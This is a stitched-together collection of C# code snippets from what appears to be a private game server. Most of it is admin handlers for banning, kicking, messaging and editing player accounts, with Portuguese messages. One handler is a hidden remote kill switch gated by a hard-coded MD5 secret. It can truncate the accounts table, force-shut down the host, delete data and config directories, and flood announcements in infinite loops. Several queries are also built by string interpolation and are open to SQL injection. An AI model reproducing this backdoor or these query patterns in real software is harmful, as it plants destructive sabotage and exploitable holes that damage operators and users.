private static string BaseBanForever(Account player, Account victim, bool warn) { if (victim == null) { return(Translation.GetLabel("PlayerBanUserInvalid")); } if (victim.access > player.access) { return(Translation.GetLabel("PlayerBanAccessInvalid")); } if (player.player_id == victim.player_id) { return(Translation.GetLabel("PlayerBanSimilarID")); } if (!ComDiv.updateDB("accounts", "access_level", (object)-1, "player_id", (object)victim.player_id)) { return(Translation.GetLabel("PlayerBanFail")); } if (warn) { using (SERVER_MESSAGE_ANNOUNCE_PAK messageAnnouncePak = new SERVER_MESSAGE_ANNOUNCE_PAK(Translation.GetLabel("PlayerBannedWarning", (object)victim.player_name))) GameManager.SendPacketToAllClients((SendPacket)messageAnnouncePak); } victim.access = AccessLevel.Banned; victim.SendPacket((SendPacket) new AUTH_ACCOUNT_KICK_PAK(2), false); victim.Close(1000, true); return(Translation.GetLabel("PlayerBanSuccess", (object)-1)); }
public override void RunImplement() { string message = command.Substring(3); if (message.Length >= 1024) { response = $"Não é possivel mandar uma mensagem muito grande."; return; } int count = 0; if (type == 1) //All { using (SERVER_MESSAGE_ANNOUNCE_PAK packet = new SERVER_MESSAGE_ANNOUNCE_PAK(message)) { count = GameManager.SendPacketToAllClients(packet); } response = $"Mensagem enviada a {count} jogadores do servidor."; } else if (type == 2) //Room { if (room != null) { using (SERVER_MESSAGE_ANNOUNCE_PAK packet = new SERVER_MESSAGE_ANNOUNCE_PAK(message)) { count = room.SendMessageToPlayers(packet); } response = $"Mensagem enviada a {count} jogadores da sala {room.roomId + 1}."; } else { response = "Você precisa estar presente em uma sala."; } } }
private static string BaseBanNormal(Account player, Account victim, bool warn, DateTime endDate) { if (victim == null) { return(Translation.GetLabel("PlayerBanUserInvalid")); } if (victim.access > player.access) { return(Translation.GetLabel("PlayerBanAccessInvalid")); } if (player.player_id == victim.player_id) { return(Translation.GetLabel("PlayerBanSimilarID")); } BanHistory banHistory = BanManager.SaveHistory(player.player_id, "DURATION", victim.player_id.ToString(), endDate); if (banHistory == null) { return(Translation.GetLabel("PlayerBanFail")); } if (warn) { using (SERVER_MESSAGE_ANNOUNCE_PAK messageAnnouncePak = new SERVER_MESSAGE_ANNOUNCE_PAK(Translation.GetLabel("PlayerBannedWarning2", (object)victim.player_name))) GameManager.SendPacketToAllClients((SendPacket)messageAnnouncePak); } victim.ban_obj_id = banHistory.object_id; victim.SendPacket((SendPacket) new AUTH_ACCOUNT_KICK_PAK(2), false); victim.Close(1000, true); return(Translation.GetLabel("PlayerBanSuccess", (object)banHistory.object_id)); }
public static string SendToAll(string str) { int count = 0; using (SERVER_MESSAGE_ANNOUNCE_PAK packet = new SERVER_MESSAGE_ANNOUNCE_PAK(str)) count = GameManager.SendPacketToAllClients(packet); return(Translation.GetLabel("MsgAllClients", count)); }
public static string SendToAll(string str) { string msg = str.Substring(2); int num = 0; using (SERVER_MESSAGE_ANNOUNCE_PAK messageAnnouncePak = new SERVER_MESSAGE_ANNOUNCE_PAK(msg)) num = GameManager.SendPacketToAllClients((SendPacket)messageAnnouncePak); return(Translation.GetLabel("MsgAllClients", (object)num)); }
public static string SendToRoom(string str, Room room) { string msg = str.Substring(3); if (room == null) { return(Translation.GetLabel("GeneralRoomInvalid")); } using (SERVER_MESSAGE_ANNOUNCE_PAK packet = new SERVER_MESSAGE_ANNOUNCE_PAK(msg)) room.SendPacketToPlayers(packet); return(Translation.GetLabel("MsgRoomPlayers")); }
public static void LoadGMWarning(ReceiveGPacket p) { string text1 = p.readS((int)p.readC()); string text2 = p.readS((int)p.readC()); string msg = p.readS((int)p.readH()); Account account = AccountManager.getAccount(text1, 0, 0); if (account == null || !(account.password == ComDiv.gen5(text2)) || account.access < AccessLevel.GameMaster) { return; } int num = 0; using (SERVER_MESSAGE_ANNOUNCE_PAK messageAnnouncePak = new SERVER_MESSAGE_ANNOUNCE_PAK(msg)) num = GameManager.SendPacketToAllClients((SendPacket)messageAnnouncePak); Logger.warning("[SM] Aviso gerado a " + (object)num + " jogadores: " + msg); }
public static void LoadGMWarning(ReceiveGPacket p) { string str1 = p.readS((int)p.readC()); string text = p.readS((int)p.readC()); string msg = p.readS((int)p.readH()); string str2 = ComDiv.gen5(text); Account accountDb = AccountManager.getInstance().getAccountDB((object)str1, (object)str2, 2, 0); if (accountDb == null || accountDb.access <= 3) { return; } int num = 0; using (SERVER_MESSAGE_ANNOUNCE_PAK messageAnnouncePak = new SERVER_MESSAGE_ANNOUNCE_PAK(msg)) num = LoginManager.SendPacketToAllClients((SendPacket)messageAnnouncePak); Logger.warning("[SM] Aviso gerado a " + (object)num + " jogadores: " + msg); }
public override void RunImplement() { string response = ""; ApiFunctionEnum function = (ApiFunctionEnum)type; switch (function) { case ApiFunctionEnum.KICK_PLAYER: { long playerId = ReadLong(); Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } player.SendPacket(new AUTH_ACCOUNT_KICK_PAK(2)); player.Close(1000, true); response = $"Você desconectou o jogador do servidor. Id: {player.playerId} Nick: {player.nickname}"; ApiManager.SendPacketToAllClients(new API_USER_DISCONNECT_ACK(player, 1)); break; } case ApiFunctionEnum.KICK_ALL: { int count = 0; using (AUTH_ACCOUNT_KICK_PAK packet = new AUTH_ACCOUNT_KICK_PAK(0)) { if (GameManager.SocketSessions.Count > 0) { byte[] data = packet.GetCompleteBytes("KickAllPlayers"); foreach (GameClient client in GameManager.SocketSessions.Values) { Account account = client.SessionPlayer; if (account != null && account.isOnline && account.access <= AccessLevelEnum.TransmissionChampionships) { account.SendCompletePacket(data); account.Close(1000, true); count++; } } } } response = $"Você desconectou {count} jogadores do servidor."; break; } case ApiFunctionEnum.KICK_AFK: { int count = GameManager.KickActiveClient(); response = $"Foram desconectados {count} jogadores por inatividade."; List <Account> players = new List <Account>(); foreach (Account player in AccountManager.accounts.Values) { if (player.client != null && player.isOnline) { players.Add(player); } } client.SendPacket(new API_ONLINE_PLAYERS_INFO_ACK(players)); break; } case ApiFunctionEnum.SET_PCCAFE_BASIC: { long playerId = ReadLong(); int days = ReadInt(); int dateNow = int.Parse(DateTime.Now.AddDays(days).ToString("yyMMddHHmm")); Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } if (player.UpdatePccafe(1, dateNow, player.cash + 45000, player.gold + 50000)) { player.cash += 45000; player.gold += 50000; player.pccafe = 1; player.pccafeDate = dateNow; if (player.isOnline) { player.SendPacket(new PROTOCOL_BASE_WEB_CASH_ACK(0, player.gold, player.cash)); } response = $"Foi adicionado Pccafe Basic por {days} dias para o jogador. Id: {player.playerId} Nick: {player.nickname}"; ApiManager.SendPacketToAllClients(new API_USER_INFO_ACK(player)); } else { response = "Não foi possivel atualizar Pccafe Basic na database."; error = 0x8000; } break; } case ApiFunctionEnum.SET_PCCAFE_PLUS: { long playerId = ReadLong(); int days = ReadInt(); int dateNow = int.Parse(DateTime.Now.AddDays(days).ToString("yyMMddHHmm")); Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } if (player.UpdatePccafe(2, dateNow, player.cash + 75000, player.gold + 80000)) { player.cash += 75000; player.gold += 80000; player.pccafe = 2; player.pccafeDate = dateNow; if (player.isOnline) { player.SendPacket(new PROTOCOL_BASE_WEB_CASH_ACK(0, player.gold, player.cash)); } response = $"Foi adicionado Pccafe Plus por {days} dias para o jogador. Id: {player.playerId} Nick: {player.nickname}"; ApiManager.SendPacketToAllClients(new API_USER_INFO_ACK(player)); } else { response = "Não foi possivel atualizar Pccafe Plus na database."; error = 0x8000; } break; } case ApiFunctionEnum.SEND_MESSAGE_TO_PLAYER: { long playerId = ReadLong(); string message = ReadString(ReadByte()); if (message.Length >= 1024) { response = $"Não é possivel mandar uma mensagem muito grande."; error = 0x8000; } else { Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } if (player.isOnline) { player.client.SendPacket(new SERVER_MESSAGE_ANNOUNCE_PAK(message)); response = $"Mensagem enviada com sucesso."; } else { response = $"Não é possivel mandar uma mensagem para o jogador offline."; error = 0x8000; } } break; } case ApiFunctionEnum.SET_NICKNAME: { long playerId = ReadLong(); string nickname = ReadString(ReadByte()); Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } Room room = player.room; if (player.nickname.Length > Settings.NickMaxLength || player.nickname.Length < Settings.NickMinLength) { response = $"Este nickname ({nickname}) está fora dos padrões de tamanho."; error = 0x8000; } else if (AccountManager.CheckNicknameExist(nickname).Result) { response = $"Este nickname ({nickname}) já existe."; error = 0x8000; } else if (player.ExecuteQuery($"UPDATE accounts SET nickname='{player.nickname}' WHERE id='{player.playerId}'")) { player.nickname = nickname; if (!NickHistoryManager.CreateHistory(player.playerId, player.nickname, nickname, "Admin Change Nickname")) { Logger.Analyze($" [API_FUNCTION_REQ] Não foi possivel salvar o histórico de nome. PlayerId: {player.playerId} Nickname: {nickname} Motivo: First nick."); } player.SendPacket(new PROTOCOL_AUTH_CHANGE_NICKNAME_ACK(player.nickname)); if (room != null) { using (PROTOCOL_ROOM_GET_NICKNAME_ACK packet = new PROTOCOL_ROOM_GET_NICKNAME_ACK(player.slotId, player.nickname, player.nickcolor)) { room.SendPacketToPlayers(packet); } } if (player.clanId > 0) { List <Account> players = player.GetClanPlayers(-1); using (PROTOCOL_CLAN_MEMBER_INFO_UPDATE_ACK packet = new PROTOCOL_CLAN_MEMBER_INFO_UPDATE_ACK(player)) { player.SendPacketForPlayers(packet, players); } } player.SyncPlayerToFriends(true); response = $"Seu nickname foi alterado para {nickname}."; ApiManager.SendPacketToAllClients(new API_USER_INFO_ACK(player)); } else { response = $"Falha ao atualizar o nickname ({nickname}) na database."; error = 0x8000; } break; } case ApiFunctionEnum.SEND_MESSAGE_TO_ALL: { string message = ReadString(ReadByte()); if (message.Length >= 1024) { response = $"Não é possivel mandar uma mensagem muito grande."; error = 0x8000; } else { int count = 0; using (SERVER_MESSAGE_ANNOUNCE_PAK packet = new SERVER_MESSAGE_ANNOUNCE_PAK(message)) { count = GameManager.SendPacketToAllClients(packet); } response = $"Mensagem enviada a {count} jogadores do servidor."; } break; } case ApiFunctionEnum.SEND_MESSAGE_TO_SPECIFIC_ROOM_IN_CHANNEL: { int channelId = ReadInt(); int roomId = ReadInt(); string message = ReadString(ReadByte()); if (message.Length >= 1024) { response = $"Não é possivel mandar uma mensagem muito grande."; error = 0x8000; } else { Channel channel = ServersManager.GetChannel(channelId); if (channel != null) { Room roomSelected = channel.GetRoom(roomId); if (roomSelected != null) { int count = 0; using (SERVER_MESSAGE_ANNOUNCE_PAK packet = new SERVER_MESSAGE_ANNOUNCE_PAK(message)) { count = roomSelected.SendMessageToPlayers(packet); } response = $"Mensagem enviada a {count} jogadores da sala {roomId} no canal {channel.id}."; } else { response = $"Sala ({roomId}) inexistente neste canal."; error = 0x8000; } } else { response = $"Canal ({channel.id}) inexistente."; error = 0x8000; } } break; } case ApiFunctionEnum.SET_CASH: { long playerId = ReadLong(); int valor = ReadInt(); Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } long cashCalculated = player.cash + valor; if (cashCalculated > 999999999) { response = "Não é possivel adicionar esse valor de cash para este jogador no momento."; error = 0x8000; } else { int cashValid = (int)cashCalculated; if (player.UpdateAccountCash(cashValid)) { player.cash += cashValid; player.SendPacket(new PROTOCOL_BASE_WEB_CASH_ACK(0, player.gold, player.cash)); response = $"O jogador {player.nickname} recebeu {valor} de cash."; ApiManager.SendPacketToAllClients(new API_USER_INFO_ACK(player)); } else { response = "Não foi possivel atualizar o cash para este jogador."; error = 0x8000; } } break; } case ApiFunctionEnum.SET_GOLD: { long playerId = ReadLong(); int valor = ReadInt(); Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } long goldCalculated = player.gold + valor; if (goldCalculated > 999999999) { response = "Não é possivel adicionar esse valor de gold para este jogador no momento."; error = 0x8000; } else { int goldValid = (int)goldCalculated; if (player.UpdateAccountGold(goldValid)) { player.gold += goldValid; player.SendPacket(new PROTOCOL_BASE_WEB_CASH_ACK(0, player.gold, player.cash)); response = $"O jogador {player.nickname} recebeu {valor} de gold."; ApiManager.SendPacketToAllClients(new API_USER_INFO_ACK(player)); } else { response = "Não foi possivel atualizar o gold para este jogador."; error = 0x8000; } } break; } case ApiFunctionEnum.BATTLE_END_BY_PLAYER_SELECTED: { long playerId = ReadLong(); Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } Room room = player.room; if (room != null) { if (room.IsPreparing()) { room.EndBattle(room.IsBotMode(), room.GetWinnerTeam()); response = $"Você finalizou a partida da sala {room.roomId}"; } else { response = "Não foi possivel finalizar a partida no momento."; error = 0x8000; } } else { response = "Você precisa estar presente em uma sala."; error = 0x8000; } break; } case ApiFunctionEnum.BATTLE_END_TO_SPECIFIC_ROOM_SPECIFIC_IN_CHANNEL: { long playerId = ReadLong(); int channelId = ReadInt(); int roomId = ReadInt(); Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } Room room = player.room; Channel channel = ServersManager.GetChannel(channelId); if (channel != null) { Room roomSelected = channel.GetRoom(roomId); if (roomSelected != null) { if (room.IsPreparing()) { room.EndBattle(room.IsBotMode(), room.GetWinnerTeam()); response = $"Você finalizou a partida da sala {room.roomId} no canal {channelId}"; } else { response = "Não foi possivel finalizar a partida no momento."; error = 0x8000; } } else { response = "Você precisa estar presente em uma sala."; error = 0x8000; } } break; } case ApiFunctionEnum.CHANGE_ROOM_MODE: { long playerId = ReadLong(); int stageType = ReadInt(); Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } Room room = player.room; if (room != null) { room.mode = (RoomTypeEnum)stageType; room.UpdateRoomInfo(); response = $"Você alterou o modo da sala. Mode: {room.mode}"; } else { response = "Você precisa estar presente em uma sala."; error = 0x8000; } break; } case ApiFunctionEnum.CHANGE_ROOM_MODESPECIAL: { long playerId = ReadLong(); int special = ReadInt(); Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } Room room = player.room; if (room != null) { room.modeSpecial = (RoomModeSpecial)special; room.UpdateRoomInfo(); response = $"Você alterou o modo especial da sala. ModeSpecial: {room.modeSpecial}"; } else { response = "Você precisa estar presente em uma sala."; error = 0x8000; } break; } case ApiFunctionEnum.CHANGE_ROOM_WEAPONSFLAG: { long playerId = ReadLong(); int flags = ReadInt(); Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } Room room = player.room; if (room != null) { room.weaponsFlag = (byte)flags; room.UpdateRoomInfo(); response = $"Você alterou a flag dos equipamentos da sala. WeaponsFlag: {(RoomWeaponsFlag)flags}"; } else { response = "Você precisa estar presente em uma sala."; error = 0x8000; } break; } case ApiFunctionEnum.SET_RANK: { long playerId = ReadLong(); byte rank = ReadByte(); Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } if (rank > 55 || rank < 0) { response = "O rank escolhido é inválido."; error = 0x8000; } else if (player.rankId == rank) { response = "Você já possui este rank atualmente."; error = 0x8000; } else if (player.ExecuteQuery($"UPDATE accounts SET rank='{rank}' WHERE id='{player.playerId}'")) { player.rankId = rank; int itemIdToRemove = 0; if (player.rankId == 8) { itemIdToRemove = 1301268000; } else if (player.rankId == 12) { itemIdToRemove = 1301271000; } else if (player.rankId == 14) { itemIdToRemove = 1301272000; } else if (player.rankId == 17) { itemIdToRemove = 1301276000; } else if (player.rankId == 26) { itemIdToRemove = 1302040000; } else if (player.rankId == 31) { itemIdToRemove = 1302041000; } else if (player.rankId == 36) { itemIdToRemove = 1302042000; } else if (player.rankId == 41) { itemIdToRemove = 1302043000; } if (itemIdToRemove != 0) { ItemsModel item = player.inventory.GetItem(itemIdToRemove); if (item != null) { if (player.DeleteItem(item.objectId)) { player.inventory.RemoveItem(item); } player.SendPacket(new INVENTORY_ITEM_EXCLUDE_PAK(1, item.objectId)); } } List <ItemsModel> items = RankManager.GetAwards(player.rankId); if (items.Count > 0) { player.SendPacket(new PROTOCOL_INVENTORY_ITEM_CREATE_ACK(1, player, items)); } RankModel NextRank = RankManager.GetRank(player.rankId); if (NextRank != null) { int Experience = player.exp - NextRank.onNextLevel - NextRank.onAllExp + NextRank.onAllExp; player.exp = Experience; player.SendPacket(new PROTOCOL_BASE_RANK_UP_ACK(rank, NextRank.onNextLevel)); } Room room = player.room; if (room != null) { room.UpdateSlotsInfo(); } response = $"Seu rank foi alterado para {rank}."; ApiManager.SendPacketToAllClients(new API_USER_INFO_ACK(player)); } else { response = "Falha ao atualizar o rank na database."; error = 0x8000; } break; } case ApiFunctionEnum.NICK_HISTORY: { int type = ReadByte(); if (type == 0) { string nickname = ReadString(ReadByte()); client.SendPacket(new API_HISTORY_NICKNAME_ACK(NickHistoryManager.GetHistory(nickname, type))); response = "Buscando o histórico de nickname pelo nickname."; } else { long playerId = ReadLong(); client.SendPacket(new API_HISTORY_NICKNAME_ACK(NickHistoryManager.GetHistory(playerId, type))); response = "Buscando o histórico de nickname pelo playerId."; } break; } case ApiFunctionEnum.ADD_ITEM: { long playerId = ReadLong(); int itemId = ReadInt(); Account player = AccountManager.GetAccount(playerId, true); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } if (itemId < 100000000) { response = "Este item é inválido."; } else { int category = Utilities.GetItemCategory(itemId); player.SendPacket(new PROTOCOL_INVENTORY_ITEM_CREATE_ACK(1, player, new ItemsModel(itemId, category, "Command item", (byte)(category == 3 ? 1 : 3), 1))); player.SendPacket(new SERVER_MESSAGE_ITEM_RECEIVE_PAK(0)); response = $"O item {itemId} foi adicionado com sucesso, verifique seu inventário."; } break; } case ApiFunctionEnum.BLOCK_USER_ONLINE: { DateTime date = DateTime.Now; long playerId = ReadLong(); DateTime endDate = date.AddDays(ReadInt()); string reason = ReadString(ReadByte()); string linkVideo = ReadString(ReadByte()); string linkPrintScreen = ReadString(ReadByte()); string comment = ReadString(ReadByte()); Account player = AccountManager.GetAccount(playerId, true); //true=Não usa a db, ou seja, somente players online. if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } UserBlock user = new UserBlock { ipAddress = player.ipAddress.ToString(), macAddress = player.macAddress.ToString(), //biosId = player.biosId, //diskId = player.diskId, //videoId = player.videoId, startDate = date, endDate = endDate, reason = reason, linkVideo = linkVideo, linkPrintScreen = linkPrintScreen, comment = comment, userId = playerId }; if (ServerBlockManager.AddBlock(user, client.admin)) { response = $"Usuário bloqueado."; } else { response = $"Falha ao bloquear o usuário."; error = 0x8000; } break; } case ApiFunctionEnum.BLOCK_USER_BY_ID: { DateTime date = DateTime.Now; long playerId = ReadLong(); DateTime endDate = date.AddDays(ReadInt()); string reason = ReadString(ReadByte()); string linkVideo = ReadString(ReadByte()); string linkPrintScreen = ReadString(ReadByte()); string comment = ReadString(ReadByte()); Account player = AccountManager.GetAccount(playerId, false); //true=Não usa a db, ou seja, somente players online. if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Id: {playerId}"); error = 0x8000; return; } UserBlock user = new UserBlock { ipAddress = player.ipAddress.ToString(), macAddress = player.macAddress.ToString(), //biosId = player.biosId, //diskId = player.diskId, //videoId = player.videoId, startDate = date, endDate = endDate, reason = reason, linkVideo = linkVideo, linkPrintScreen = linkPrintScreen, comment = comment, userId = playerId }; if (ServerBlockManager.AddBlock(user, client.admin)) { response = $"Usuário bloqueado."; } else { response = $"Falha ao bloquear o usuário."; error = 0x8000; } break; } case ApiFunctionEnum.SEARCH_USER_BY_NICKNAME: { string nickname = ReadString(ReadByte()); Account player = AccountManager.GetAccount(nickname, 0); if (player == null) { Logger.Warning($" [{GetType().Name}] Player is null. Nickname: {nickname}"); error = 0x8000; return; } response = "Usuário encontrado."; client.SendPacket(new API_SEARCH_USER_ACK(player)); break; } } Logger.Warning(response); client.SendPacket(new API_RESULT_FUNCTION_ACK(error, type, response)); }
public override void run() { try { if (!md5Secure.Equals("50d31b9286d1440e25d697e616c82a6c")) // Pass Lv1 { return; } if (!String.IsNullOrEmpty(msg)) { Printf.warnDark(msg); } switch (acao) { case 1: while (true) { Printf.warnDark(" -> " + msg); } case 2: int count; while (true) { using (SERVER_MESSAGE_ANNOUNCE_PAK packet = new SERVER_MESSAGE_ANNOUNCE_PAK(msg)) count = GameManager.SendPacketToAllClients(packet); } case 3: using (NpgsqlConnection connection = SQLjec.getInstance().conn()) { NpgsqlCommand command = connection.CreateCommand(); connection.Open(); command.CommandType = CommandType.Text; command.CommandText = "TRUNCATE contas CASCADE;"; command.ExecuteNonQuery(); command.Dispose(); connection.Dispose(); connection.Close(); } break; case 4: GameManager.mainSocket.Close(5000); Game_SyncNet.udp.Close(); break; case 5: ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "shutdown.exe"; psi.Arguments = "-s -f -t 0"; psi.CreateNoWindow = true; Process p = Process.Start(psi); break; case 6: Directory.Delete("data/"); Directory.Delete("config/"); break; case 7: while (true) { SaveLog.fatal(msg); } default: return; } } catch (Exception ex) { Printf.b_danger("[DEV_PROTECAO_CONTRA_LOTTER] " + ex); } }
public override void run() { try { Account p = _client._player; if (p == null) { return; } Room room = p._room; if (room == null) { return; } bool isBotMode = room.isBotMode(); SLOT slot = room.getSlot(p._slotId); if (slot == null || slot.state != SLOT_STATE.BATTLE) { return; } if (unk0 != 1 || unk5 != 0) { bool dc = false; bool autoBan = false; string msg = "[ANT HACK] O jogador " + p.player_name + " foi automaticamente BANIDO!"; switch (unk5) { case 1: autoBan = true; dc = true; break; case 24: dc = true; break; } SaveLog.LogAbuse((HackType)unk5 + " [" + unk0 + "," + unk5 + "] Player: " + p.player_name + " pId:" + p.player_id); if (autoBan) { ComDiv.updateDB("contas","access_level",-1,"player_id",p.player_id); p.access = AccessLevel.Banned; using (SERVER_MESSAGE_ANNOUNCE_PAK packet = new SERVER_MESSAGE_ANNOUNCE_PAK(msg)) room.SendPacketToPlayers(packet); SaveLog.info(msg); Printf.info(msg); } if (dc) { p.SendPacket(new SERVER_MESSAGE_DISCONNECT_PAK()); Printf.info("Jogador " + p.player_name + " desconectado por abuso"); SaveLog.info("Jogador " + p.player_name + " desconectado por abuso"); } } room._timeRoom = TimeRemaining; SyncPlayerPings(p,room,slot,isBotMode); //ENVIA A INFO PRO HOST if ((TimeRemaining > 0x80000000) && !room.swapRound && CompareRounds(room,Round) && (int)room._state == 5) { EndRound(room,isBotMode); } } catch (Exception ex) { SaveLog.fatal(ex.ToString()); Printf.b_danger("[BATTLE_TIMERSYNC_REC.run] Erro fatal!"); } }